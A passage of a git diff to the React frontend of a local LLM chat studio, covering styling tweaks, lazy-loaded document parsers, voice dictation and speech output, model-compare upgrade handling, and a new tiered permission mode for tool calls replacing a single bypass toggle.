                 className={cn(
                   "flex w-full cursor-pointer items-start gap-3 rounded-lg border px-4 py-3 transition-all",
                   scope === "training"
-                    ? "border-primary/40 bg-primary/5 ring-1 ring-primary/20"
+                    ? "border-ring-strong bg-primary/5"
                     : "border-border/60 hover:border-border hover:bg-muted/30",
                 )}
               >
@@ -1262,14 +1266,14 @@ function PromptCard({
           value={name}
           onChange={(e) => setName(e.target.value)}
           placeholder="Prompt name..."
-          className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow"
+          className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow"
         />
         <textarea
           value={text}
           onChange={(e) => setText(e.target.value)}
           rows={4}
           placeholder="Prompt text..."
-          className="w-full resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow leading-relaxed"
+          className="w-full resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow leading-relaxed"
         />
         <div className="flex gap-2 justify-end">
           <Button size="sm" variant="ghost" onClick={() => { setName(entry.name); setText(entry.text); setEditing(false); }}>
@@ -1373,14 +1377,14 @@ function NewPromptForm({ onClose, onRefresh }: { onClose: () => void; onRefresh:
         onChange={(e) => setName(e.target.value)}
         placeholder="Prompt name (optional)..."
         autoFocus
-        className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow"
+        className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow"
       />
       <textarea
         value={text}
         onChange={(e) => setText(e.target.value)}
         rows={4}
         placeholder="Write your prompt here..."
-        className="w-full resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow leading-relaxed"
+        className="w-full resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow leading-relaxed"
       />
       <div className="flex gap-2 justify-end">
         <Button size="sm" variant="ghost" onClick={onClose}>
@@ -1440,7 +1444,7 @@ function PromptListCard({
           value={name}
           onChange={(e) => setName(e.target.value)}
           placeholder="List name..."
-          className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow"
+          className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow"
         />
         <p className="text-xs font-semibold text-muted-foreground">Prompts (sent in order)</p>
         <div className="flex flex-col gap-2">
@@ -1453,7 +1457,7 @@ function PromptListCard({
                 onChange={(e) => updateItem(i, e.target.value)}
                 rows={2}
                 placeholder={`Prompt ${i + 1}...`}
-                className="flex-1 resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow leading-relaxed"
+                className="flex-1 resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow leading-relaxed"
               />
               <button
                 type="button"
@@ -1593,7 +1597,7 @@ function NewPromptListForm({ onClose, onRefresh }: { onClose: () => void; onRefr
         onChange={(e) => setName(e.target.value)}
         placeholder="List name..."
         autoFocus
-        className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow"
+        className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow"
       />
       <p className="text-xs font-semibold text-muted-foreground">
         Prompts — loaded into the composer one at a time
@@ -1607,7 +1611,7 @@ function NewPromptListForm({ onClose, onRefresh }: { onClose: () => void; onRefr
               onChange={(e) => updateItem(i, e.target.value)}
               rows={2}
               placeholder={`Prompt ${i + 1}...`}
-              className="flex-1 resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow leading-relaxed"
+              className="flex-1 resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow leading-relaxed"
             />
             <button
               type="button"
@@ -1887,7 +1891,7 @@ export function PromptStorageDialog({
                 onFocus={() => setShowSuggestions(true)}
                 onBlur={() => setTimeout(() => setShowSuggestions(false), 150)}
                 placeholder={`Search ${activeTab === "prompts" ? "prompts by name or text" : "prompt lists by name"}…`}
-                className="w-full rounded-lg border-0 bg-muted/50 pl-9 pr-3 py-2 text-sm outline-none focus:ring-1 focus:ring-primary/50 placeholder:text-muted-foreground/60 transition-shadow"
+                className="w-full rounded-lg border-0 bg-muted/50 pl-9 pr-3 py-2 text-sm outline-none focus:ring-1 focus:ring-ring placeholder:text-muted-foreground/60 transition-shadow"
               />
               {showSuggestions && searchQuery.trim() !== "" && suggestions.length > 0 && (
                 <div className="absolute top-full left-0 right-0 z-50 mt-1 rounded-xl border border-border/60 bg-popover shadow-lg overflow-hidden">
diff --git a/studio/frontend/src/features/chat/runtime-provider.tsx b/studio/frontend/src/features/chat/runtime-provider.tsx
index 67980b94c6..019d0bfd8a 100644
--- a/studio/frontend/src/features/chat/runtime-provider.tsx
+++ b/studio/frontend/src/features/chat/runtime-provider.tsx
@@ -22,7 +22,6 @@ import {
   unstable_useRemoteThreadListRuntime as useRemoteThreadListRuntime,
 } from "@assistant-ui/react";
 import { createAssistantStream } from "assistant-stream";
-import mammoth from "mammoth";
 import {
   type ReactElement,
   type ReactNode,
@@ -33,8 +32,8 @@ import {
   useMemo,
   useRef,
 } from "react";
-import { extractText, getDocumentProxy } from "unpdf";
 import { toast } from "sonner";
+import { StudioSpeechSynthesisAdapter } from "./adapters/studio-speech-synthesis-adapter";
 import { StudioWebSpeechDictationAdapter } from "./adapters/studio-web-speech-dictation-adapter";
 import {
   ThreadAutosaveHandle,
@@ -55,6 +54,7 @@ import {
 } from "./open-document";
 import { AudioAttachmentAdapter } from "./audio-attachment-adapter";
 import { useChatRuntimeStore } from "./stores/chat-runtime-store";
+import { ToolPaneScopeContext, toolPaneScope } from "./tool-output-scope";
 import type { MessageRecord, ModelType, ThreadRecord } from "./types";
 import {
   deleteStoredChatThreads,
@@ -79,6 +79,7 @@ const pendingRunStartReadyByMessageId = new Map<string, Promise<void>>();
 
 type TitleResponse = {
   choices?: Array<{
+    finish_reason?: string | null;
     message?: {
       content?: string;
     };
@@ -181,7 +182,10 @@ class PDFAttachmentAdapter implements AttachmentAdapter {
   }
 
   async send(attachment: PendingAttachment): Promise<CompleteAttachment> {
-    const buffer = new Uint8Array(await attachment.file.arrayBuffer());
+    const [{ extractText, getDocumentProxy }, buffer] = await Promise.all([
+      import("unpdf"),
+      attachment.file.arrayBuffer().then((bytes) => new Uint8Array(bytes)),
+    ]);
     const pdf = await getDocumentProxy(buffer);
     const { text } = await extractText(pdf, { mergePages: true });
     return {
@@ -298,7 +302,10 @@ class DocxAttachmentAdapter implements AttachmentAdapter {
   }
 
   async send(attachment: PendingAttachment): Promise<CompleteAttachment> {
-    const arrayBuffer = await attachment.file.arrayBuffer();
+    const [{ default: mammoth }, arrayBuffer] = await Promise.all([
+      import("mammoth"),
+      attachment.file.arrayBuffer(),
+    ]);
     const { value } = await mammoth.extractRawText({ arrayBuffer });
     return {
       id: attachment.id,
@@ -470,6 +477,8 @@ async function generateTitleWithModel(payload: {
       max_tokens: 24,
       top_k: 20,
       repetition_penalty: 1.0,
+      enable_thinking: false,
+      reasoning_effort: "none",
       messages: [
         {
           role: "system",
@@ -485,8 +494,10 @@ async function generateTitleWithModel(payload: {
     .json()
     .catch(() => null)) as TitleResponse | null;
   if (!response.ok) return null;
-  const raw: string | undefined = body?.choices?.[0]?.message?.content;
-  if (!raw) return null;
+  const choice = body?.choices?.[0];
+  if (choice?.finish_reason === "length") return null;
+  const raw: string | undefined = choice?.message?.content;
+  if (!raw || /<\/?think>/i.test(raw)) return null;
   return normalizeTitle(raw);
 }
 
@@ -1024,6 +1035,13 @@ function useStudioRuntimeAdapters(
         : undefined,
     [],
   );
+  const speech = useMemo(
+    () =>
+      StudioSpeechSynthesisAdapter.isSupported()
+        ? new StudioSpeechSynthesisAdapter()
+        : undefined,
+    [],
+  );
   const attachments = useMemo(
     () =>
       new CompositeAttachmentAdapter([
@@ -1038,8 +1056,8 @@ function useStudioRuntimeAdapters(
     [],
   );
   const adapters = useMemo(
-    () => ({ history, dictation, attachments }),
-    [history, dictation, attachments],
+    () => ({ history, dictation, speech, attachments }),
+    [history, dictation, speech, attachments],
   );
 
   return adapters;
@@ -1330,26 +1348,33 @@ export function ChatRuntimeProvider({
 
   return (
     <AssistantRuntimeProvider runtime={runtime} aui={aui}>
-      <ActiveThreadSync
-        enabled={
-          modelType === "base" && !pairId && !newThreadNonce && !initialThreadId
-        }
-      />
-      <ThreadBackendAutosave modelType={modelType} pairId={pairId} />
-      <CancelRegistrar />
-      {initialThreadId && (
-        <ThreadAutoSwitch
-          threadId={initialThreadId}
-          syncActiveThreadId={syncActiveThreadId}
+      {/* Pane identity for the tool-output store maps: the adapter prefixes its
+          keys with this scope so concurrent panes with colliding tool ids
+          ("call_0") can't bleed live output into each other's cards. */}
+      <ToolPaneScopeContext.Provider value={toolPaneScope(modelType, pairId)}>
+        <ActiveThreadSync
+          enabled={
+            modelType === "base" &&
+            !pairId &&
+            !newThreadNonce &&
+            !initialThreadId
+          }
         />
-      )}
-      {!initialThreadId && newThreadNonce && (
-        <ThreadNewChatSwitch nonce={newThreadNonce} />
-      )}
-      {/* The view stays mounted (only CSS-hidden by RootLayout) while off-route
-          so assistant-ui keeps the run attached and the stream alive. Unmounting
-          it here aborts the in-flight generation. */}
-      {children}
+        <ThreadBackendAutosave modelType={modelType} pairId={pairId} />
+        <CancelRegistrar />
+        {initialThreadId && (
+          <ThreadAutoSwitch
+            threadId={initialThreadId}
+            syncActiveThreadId={syncActiveThreadId}
+          />
+        )}
+        {!initialThreadId && newThreadNonce && (
+          <ThreadNewChatSwitch nonce={newThreadNonce} />
+        )}
+        {/* The view stays mounted (only CSS-hidden) while off-route so the run
+            stays attached and the stream alive; unmounting aborts generation. */}
+        {children}
+      </ToolPaneScopeContext.Provider>
     </AssistantRuntimeProvider>
   );
 }
diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index a50af46e85..a0813fe27b 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -8,6 +8,7 @@ import {
 } from "@/components/assistant-ui/think-aria-label";
 import { Button } from "@/components/ui/button";
 import { BulbIcon } from "@/lib/bulb-icon";
+import { MicIcon } from "@/lib/mic-icon";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { cn } from "@/lib/utils";
 import {
@@ -22,6 +23,17 @@ import {
   DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
 import { applyQwenThinkingParams } from "@/features/chat/utils/qwen-params";
+import {
+  describeMediaError,
+  describeSpeechError,
+  isMissingDeviceError,
+} from "@/features/chat/adapters/studio-web-speech-dictation-adapter";
+import {
+  applyDictationDictionary,
+  recordRecentDictation,
+  resolveDictationLanguage,
+  useVoiceSettingsStore,
+} from "@/features/settings/stores/voice-settings-store";
 import { AUDIO_ACCEPT, MAX_AUDIO_SIZE, fileToBase64 } from "@/lib/audio-utils";
 import { isTauri } from "@/lib/api-base";
 import { isMultimodalResponse } from "./types/api";
@@ -48,7 +60,6 @@ import {
   Image03Icon,
   McpServerIcon,
   PencilRulerIcon,
-  ShieldBanIcon,
 } from "@hugeicons/core-free-icons";
 import { useNavigate } from "@tanstack/react-router";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -62,11 +73,16 @@ import {
 import { listPromptEntries, type PromptEntry } from "./api/prompts-api";
 import { McpComposerButton } from "./mcp-composer-button";
 import { BypassPermissionsMenuItem } from "./bypass-permissions-menu-item";
+import { PermissionModeComposerPill } from "./permission-mode-select";
 import { reasoningCapsFromLoad } from "./lib/apply-inference-status-to-store";
 import { KnowledgeBaseComposerButton } from "@/features/rag/components/knowledge-base-composer-button";
 import { NewProjectDialog } from "./components/new-project-dialog";
 import { useChatProjects } from "./hooks/use-chat-projects";
 import { confirmRemoteCodeIfNeeded } from "@/features/security";
+import {
+  confirmTransformersUpgradeIfNeeded,
+  useTransformersUpgradeDialogStore,
+} from "@/features/transformers-upgrade";
 import { loadModel, validateModel } from "./api/chat-api";
 import {
   parseExternalModelId,
@@ -144,18 +160,6 @@ const ArrowDownStandardIcon: FC<{ className?: string }> = ({ className }) => (
   </svg>
 );
 
-const MicIcon: FC<{ className?: string }> = ({ className }) => (
-  <svg
-    className={className}
-    viewBox="0 0 256 256"
-    fill="currentColor"
-    xmlns="http://www.w3.org/2000/svg"
-    aria-hidden={true}
-  >
-    <path d="M128,176a48.05,48.05,0,0,0,48-48V64a48,48,0,0,0-96,0v64A48.05,48.05,0,0,0,128,176ZM96,64a32,32,0,0,1,64,0v64a32,32,0,0,1-64,0Zm40,143.6V232a8,8,0,0,1-16,0V207.6A80.11,80.11,0,0,1,48,128a8,8,0,0,1,16,0,64,64,0,0,0,128,0,8,8,0,0,1,16,0A80.11,80.11,0,0,1,136,207.6Z" />
-  </svg>
-);
-
 function isNativeComposing(event: Event) {
   return "isComposing" in event && (event as InputEvent).isComposing === true;
 }
@@ -210,7 +214,17 @@ function useDictation(
   const [isDictating, setIsDictating] = useState(false);
   const recognitionRef = useRef<SpeechRecognition | null>(null);
 
-  const start = useCallback(() => {
+  const streamRef = useRef<MediaStream | null>(null);
+  const startingRef = useRef(false);
+  // Guards the getUserMedia await so a mic opened after unmount is released.
+  const disposedRef = useRef(false);
+
+  const releaseStream = useCallback(() => {
+    streamRef.current?.getTracks().forEach((track) => track.stop());
+    streamRef.current = null;
+  }, []);
+
+  const start = useCallback(async () => {
     const SpeechRecognitionAPI =
       typeof window !== "undefined" &&
       (window.SpeechRecognition ??
@@ -222,43 +236,136 @@ function useDictation(
     if (!SpeechRecognitionAPI) {
       return;
     }
+    if (startingRef.current || recognitionRef.current) return;
+    startingRef.current = true;
+
+    // Open the microphone chosen in Voice settings, matching the main chat
+    // adapter, so Compare dictation honors the same device selection.
+    let audioTrack: MediaStreamTrack | undefined;
+    const { micDeviceId } = useVoiceSettingsStore.getState();
+    if (navigator.mediaDevices?.getUserMedia) {
+      try {
+        let stream: MediaStream;
+        try {
+          stream = await navigator.mediaDevices.getUserMedia({
+            audio:
+              micDeviceId && micDeviceId !== "default"
+                ? { deviceId: { exact: micDeviceId } }
+                : true,
+          });
+        } catch (error) {
+          // Saved mic may be unplugged; fall back to the default device.
+          if (micDeviceId !== "default" && isMissingDeviceError(error)) {
+            stream = await navigator.mediaDevices.getUserMedia({
+              audio: true,
+            });
+          } else {
+            throw error;
+          }
+        }
+        streamRef.current = stream;
+        audioTrack = stream.getAudioTracks()[0];
+      } catch (error) {
+        // Permission/security failure: report it and stop instead of silently
+        // recording from a different default device, matching the main adapter.
+        startingRef.current = false;
+        releaseStream();
+        setIsDictating(false);
+        toast.error(describeMediaError(error));
+        return;
+      }
+    }
+
+    if (disposedRef.current) {
+      releaseStream();
+      startingRef.current = false;
+      return;
+    }
+
     const recognition = new SpeechRecognitionAPI() as SpeechRecognition;
     recognition.continuous = true;
     recognition.interimResults = true;
-    recognition.lang = "en-US";
+    recognition.lang = resolveDictationLanguage();
+    let sessionTranscript = "";
     recognition.onresult = (event: SpeechRecognitionEvent) => {
-      const last = event.resultIndex;
-      const result = event.results[last];
-      if (!result?.isFinal) return;
-      const transcript = result[0]?.transcript?.trim();
-      if (transcript) {
+      // Iterate every result from resultIndex; a single event can carry more
+      // than one finalized phrase and dropping the rest loses dictated words.
+      for (let i = event.resultIndex; i < event.results.length; i++) {
+        const result = event.results[i];
+        if (!result?.isFinal) continue;
+        const transcript = applyDictationDictionary(
+          result[0]?.transcript?.trim() ?? "",
+        );
+        if (!transcript) continue;
+        sessionTranscript = sessionTranscript
+          ? `${sessionTranscript} ${transcript}`
+          : transcript;
         setText((prev) => (prev ? `${prev} ${transcript}` : transcript));
       }
     };
-    recognition.onerror = () => {
+    recognition.onerror = (event) => {
+      // Report speech-service failures like the main adapter; aborted is a
+      // normal stop, not an error.
+      const errorEvent = event as SpeechRecognitionErrorEvent;
+      if (errorEvent.error !== "aborted") {
+        toast.error(describeSpeechError(errorEvent.error, errorEvent.message));
+      }
       setIsDictating(false);
     };
     recognition.onend = () => {
-      setIsDictating(false);
+      // A stop()+immediate restart can install a new recognizer before this
+      // old one ends; only tear down shared refs when we are still current.
+      if (recognitionRef.current === recognition) {
+        releaseStream();
+        recognitionRef.current = null;
+        setIsDictating(false);
+      }
+      if (sessionTranscript) {
+        recordRecentDictation(sessionTranscript);
+        sessionTranscript = "";
+      }
     };
-    recognition.start();
+    try {
+      if (audioTrack) {
+        try {
+          recognition.start(audioTrack);
+        } catch {
+          // No start(track) overload: recognition captures from the default
+          // device, so release the selected-device stream.
+          releaseStream();
+          recognition.start();
+        }
+      } else {
+        recognition.start();
+      }
+    } catch {
+      startingRef.current = false;
+      releaseStream();
+      return;
+    }
     recognitionRef.current = recognition;
+    startingRef.current = false;
     setIsDictating(true);
-  }, [setText]);
+  }, [setText, releaseStream]);
 
   const stop = useCallback(() => {
     if (recognitionRef.current) {
       recognitionRef.current.stop();
       recognitionRef.current = null;
     }
+    releaseStream();
     setIsDictating(false);
-  }, []);
+  }, [releaseStream]);
 
   useEffect(() => {
+    disposedRef.current = false;
     return () => {
+      disposedRef.current = true;
       if (recognitionRef.current) {
         recognitionRef.current.abort();
       }
+      streamRef.current?.getTracks().forEach((track) => track.stop());
+      streamRef.current = null;
     };
   }, []);
 
@@ -506,6 +613,8 @@ export function SharedComposer({
   );
   const artifactsEnabled = useChatRuntimeStore((s) => s.artifactsEnabled);
   const setArtifactsEnabled = useChatRuntimeStore((s) => s.setArtifactsEnabled);
+  const showCanvasMenuItem = useChatRuntimeStore((s) => s.showCanvasMenuItem);
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
   const mcpEnabledForChat = useChatRuntimeStore((s) => s.mcpEnabledForChat);
   const setMcpEnabledForChat = useChatRuntimeStore(
     (s) => s.setMcpEnabledForChat,
@@ -525,10 +634,6 @@ export function SharedComposer({
   const setWebFetchToolsEnabled = useChatRuntimeStore(
     (s) => s.setWebFetchToolsEnabled,
   );
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
-  const setBypassPermissions = useChatRuntimeStore(
-    (s) => s.setBypassPermissions,
-  );
   const ragEnabled = useChatRuntimeStore((s) => s.ragEnabled);
   const setRagEnabled = useChatRuntimeStore((s) => s.setRagEnabled);
   const activeThreadId = useChatRuntimeStore((s) => s.activeThreadId);
@@ -681,9 +786,12 @@ export function SharedComposer({
   const ragDisabled = modelLoaded && (isExternalModel || !supportsTools);
   const showRagPill = !isExternalModel;
   // Above 4 pills, collapse to icons only to cut clutter. Compare, Search and
-  // Code always show; the rest are conditional.
+  // Code always show; the permission pill shows in every mode except "off"
+  // (it renders null there); the rest are conditional.
+  const permissionPillVisible = permissionMode !== "off";
   const pillsCompact =
     3 +
+      (permissionPillVisible ? 1 : 0) +
       (showImagePill ? 1 : 0) +
       (showRagPill && ragEnabled && !ragDisabled ? 1 : 0) +
       (showWebFetchPill ? 1 : 0) +
@@ -929,6 +1037,10 @@ export function SharedComposer({
         return parts[parts.length - 1] || id;
       }
 
+      // Set when an accepted transformers install unloaded the active model
+      // server-side; a later failure must then clear the stale checkpoint.
+      let upgradeUnloadedActive = false;
+
       // Helper: load a model and update store checkpoint
       async function ensureModelLoaded(
         sel: CompareModelSelection,
@@ -955,6 +1067,31 @@ export function SharedComposer({
           trust_remote_code: loadTrustRemoteCode,
           chat_template_override: effectiveChatTemplateOverride,
         });
+        // Upgrade dialog first (mirrors the primary load path).
+        if (validation.requires_transformers_upgrade) {
+          const upgraded = await confirmTransformersUpgradeIfNeeded({
+            modelName: sel.id,
+            upgrade: validation.transformers_upgrade,
+            // No installable release: custom-code models may fall back to the trust_remote_code gate below.
+            trustRemoteCodeFallback: validation.requires_trust_remote_code,
+          });
+          // The install unloads the active model before the swap (even when the
+          // swap then fails); if a later gate cancels or the load fails, the UI
+          // must stop pointing at that unloaded model.
+          if (
+            useTransformersUpgradeDialogStore
+              .getState()
+              .consumeServerUnloadedChat()
+            && currentStore.params.checkpoint
+          ) {
+            upgradeUnloadedActive = true;
+          }
+          if (!upgraded) {
+            throw new Error(
+              `${modelDisplayName(sel.id)} needs a newer transformers release to load.`,
+            );
+          }
+        }
         if (
           validation.requires_trust_remote_code ||
           validation.requires_security_review
@@ -990,6 +1127,7 @@ export function SharedComposer({
           tensor_parallel: currentStore.tensorParallel,
         });
         saveSpeculativeType(specSettings.speculativeType);
+        upgradeUnloadedActive = false;
         const store = useChatRuntimeStore.getState();
         store.setCheckpoint(
           resp.model,
@@ -1097,6 +1235,11 @@ export function SharedComposer({
         toast.success("Compare complete", { id: toastId, duration: 2000 });
       } catch (err) {
         compareStepSucceededRef.current = false;
+        // The install already unloaded the previously active model; drop the
+        // checkpoint so the UI does not keep pointing at an unloaded model.
+        if (upgradeUnloadedActive) {
+          useChatRuntimeStore.getState().clearCheckpoint();
+        }
         toast.error("Compare failed", {
           id: toastId,
           description: err instanceof Error ? err.message : "Unknown error",
@@ -1269,7 +1412,8 @@ export function SharedComposer({
         </DropdownMenuSubContent>
       </DropdownMenuSub>
     ),
-    canvas: (
+    // Hidden by default; enabled from Settings > Chat > Canvas.
+    canvas: showCanvasMenuItem ? (
       <DropdownMenuItem
         className={artifactsEnabled ? "text-primary font-medium" : undefined}
         onSelect={() => setArtifactsEnabled(!artifactsEnabled)}
@@ -1280,7 +1424,7 @@ export function SharedComposer({
           <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="ml-auto" />
         ) : null}
       </DropdownMenuItem>
-    ),
+    ) : null,
     bypassPermissions: <BypassPermissionsMenuItem />,
     projects: (
       <DropdownMenuSub>
@@ -1617,29 +1761,10 @@ export function SharedComposer({
             </PillGlyph>
             <span>Compare</span>
           </button>
-          {/* Bypass sits immediately after Compare and ahead of every other
-              tool pill (Search, Code, ...) so the active danger state reads
-              first; only Compare outranks it. */}
-          {bypassPermissions && (
-            <button
-              type="button"
-              onClick={() => setBypassPermissions(false)}
-              className="composer-pill-btn"
-              data-active="true"
-              data-variant="danger"
-              aria-label="Disable Bypass permissions"
-              title="Bypass permissions is on (no confirmation, no sandbox). Click to turn off."
-            >
-              <PillGlyph>
-                <HugeiconsIcon
-                  icon={ShieldBanIcon}
-                  strokeWidth={2}
-                  className="size-[15px]"
-                />
-              </PillGlyph>
-              <span>Bypass permissions</span>
-            </button>
-          )}
+          {/* Permission-level pill sits immediately after Compare and ahead
+              of every other tool pill (Search, Code, ...) so the Full access
+              danger state reads first; only Compare outranks it. */}
+          <PermissionModeComposerPill side="top" />
           <button
             type="button"
             disabled={searchDisabled}
@@ -1767,6 +1892,7 @@ export function SharedComposer({
                     type="button"
                     disabled={reasoningDisabled}
                     className="unsloth-thinking-pill"
+                    data-pill-label="Thinking settings"
                     data-active={thinkingActiveLook ? "true" : "false"}
                     aria-label={thinkEffortAriaLabel({
                       modelLoaded,
@@ -1776,7 +1902,7 @@ export function SharedComposer({
                   >
                     <BulbIcon className="size-[15.5px]" />
                     {thinkingActiveLook ? (
-                      <span>
+                      <span className="unsloth-thinking-label">
                         {isEffort
                           ? `Thinking · ${formatReasoningEffortLabel(
                               reasoningEffort,
@@ -1785,7 +1911,7 @@ export function SharedComposer({
                           : "Thinking"}
                       </span>
                     ) : null}
-                    <ArrowDownStandardIcon className="size-[15px]" />
+                    <ArrowDownStandardIcon className="unsloth-thinking-caret size-[15px]" />
                   </button>
                 </DropdownMenuTrigger>
                 <DropdownMenuContent
@@ -1932,6 +2058,7 @@ export function SharedComposer({
                   }
                 }}
                 className="unsloth-thinking-pill"
+                data-pill-label="Thinking"
                 data-active={thinkingActiveLook ? "true" : "false"}
                 aria-label={thinkToggleAriaLabel({
                   reasoningLockedOn,
@@ -1943,7 +2070,9 @@ export function SharedComposer({
                 <PillGlyph>
                   <BulbIcon className="size-[15.5px]" />
                 </PillGlyph>
-                {thinkingActiveLook ? <span>Thinking</span> : null}
+                {thinkingActiveLook ? (
+                  <span className="unsloth-thinking-label">Thinking</span>
+                ) : null}
               </button>
             )
           ) : null}
diff --git a/studio/frontend/src/features/chat/stores/chat-preferences-store.ts b/studio/frontend/src/features/chat/stores/chat-preferences-store.ts
index f019b7dc3d..5b5011a78f 100644
--- a/studio/frontend/src/features/chat/stores/chat-preferences-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-preferences-store.ts
@@ -7,11 +7,14 @@ import { persist } from "zustand/middleware";
 // Client-side chat UI prefs kept in localStorage, not the chat DB.
 // confirmDeleteChats: when off, deleting a chat skips the confirm dialog.
 // showModelDisclaimer: when off, hide the "LLMs can make mistakes" footer note.
+// showResponseModel: when on, assistant responses show the producing model.
 export interface ChatPreferencesState {
   confirmDeleteChats: boolean;
   setConfirmDeleteChats: (value: boolean) => void;
   showModelDisclaimer: boolean;
   setShowModelDisclaimer: (value: boolean) => void;
+  showResponseModel: boolean;
+  setShowResponseModel: (value: boolean) => void;
 }
 
 export const useChatPreferencesStore = create<ChatPreferencesState>()(
@@ -23,6 +26,9 @@ export const useChatPreferencesStore = create<ChatPreferencesState>()(
       showModelDisclaimer: true,
       setShowModelDisclaimer: (showModelDisclaimer) =>
         set({ showModelDisclaimer }),
+      showResponseModel: false,
+      setShowResponseModel: (showResponseModel) =>
+        set({ showResponseModel }),
     }),
     {
       name: "unsloth_chat_preferences",
@@ -32,6 +38,7 @@ export const useChatPreferencesStore = create<ChatPreferencesState>()(
           ...current,
           confirmDeleteChats: saved?.confirmDeleteChats ?? true,
           showModelDisclaimer: saved?.showModelDisclaimer ?? true,
+          showResponseModel: saved?.showResponseModel ?? false,
         };
       },
     },
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index 7c9685d6d0..af99458349 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -2,7 +2,11 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import type { RememberedLoadSettings } from "@/components/assistant-ui/model-selector/remembered-load-settings";
-import { cancelStagedModelDownload } from "@/features/hub";
+import {
+  cancelStagedModelDownload,
+  mirrorHfTokenInto,
+  useHfTokenStore,
+} from "@/features/hub";
 import { toast } from "@/lib/toast";
 import { create } from "zustand";
 import { isExternalModelId, parseExternalModelId } from "../external-providers";
@@ -23,14 +27,15 @@ import {
   savePersistedChatSettingsPatch,
 } from "../utils/chat-settings-storage";
 import { useExternalProvidersStore } from "./external-providers-store";
+import { PLUS_MENU_PINS_STORAGE_KEY } from "./plus-menu-prefs-store";
 
-const HF_TOKEN_KEY = "unsloth_hf_token";
-const HF_TOKEN_CHANGED_EVENT = "unsloth:hf-token-changed";
 export const CHAT_REASONING_ENABLED_KEY = "unsloth_chat_reasoning_enabled";
 export const CHAT_TOOLS_ENABLED_KEY = "unsloth_chat_tools_enabled";
 export const CHAT_CODE_TOOLS_ENABLED_KEY = "unsloth_chat_code_tools_enabled";
 export const CHAT_IMAGE_TOOLS_ENABLED_KEY = "unsloth_chat_image_tools_enabled";
 export const CHAT_ARTIFACTS_ENABLED_KEY = "unsloth_chat_artifacts_enabled";
+export const CHAT_SHOW_CANVAS_MENU_ITEM_KEY =
+  "unsloth_chat_show_canvas_menu_item";
 export const CHAT_COLLAPSE_HTML_ARTIFACTS_KEY =
   "unsloth_chat_collapse_html_artifacts";
 export const CHAT_ALLOW_ARTIFACT_NETWORK_ACCESS_KEY =
@@ -45,6 +50,19 @@ export const CHAT_SHOW_ALL_QUANTIZATIONS_KEY =
 export const MODELS_FIT_ON_DEVICE_ONLY_KEY =
   "unsloth_models_fit_on_device_only";
 export const CHAT_BYPASS_PERMISSIONS_KEY = "unsloth_chat_bypass_permissions";
+export const CHAT_PERMISSION_MODE_KEY = "unsloth_chat_permission_mode";
+
+/**
+ * Permission level for local tool calls:
+ * - "ask": always ask before every tool call runs.
+ * - "auto" ("Approve for me"): only ask for calls the backend detects as
+ *   potentially unsafe; read-only calls run immediately. Sandbox stays on.
+ * - "off": never ask; tool calls run automatically inside the sandbox
+ *   (the original default before permission levels existed).
+ * - "full" ("Full access"): no confirmations and the python/terminal sandbox
+ *   is disabled. Session-only; never restored from storage.
+ */
+export type PermissionMode = "ask" | "auto" | "off" | "full";
 export const CHAT_WEB_FETCH_TOOLS_ENABLED_KEY =
   "unsloth_chat_web_fetch_tools_enabled";
 export const CHAT_RAG_SOURCE_KEY = "unsloth_chat_rag_source";
@@ -319,8 +337,10 @@ export function loadOptionalBool(key: string): boolean | null {
 /**
  * Resolve the web-search / code-execution pill state to apply when a model
  * loads. Honors the user's persisted preference so a tool-capable model never
- * re-enables a pill the user turned off; falls back to the model's capability
- * only when no preference has been expressed.
+ * re-enables a pill the user turned off, and never re-disables one they turned
+ * on. When no preference has been expressed the pills stay off: tool execution
+ * is opt-in, so the person enables it with a click rather than a tool-capable
+ * model turning it on for them.
  */
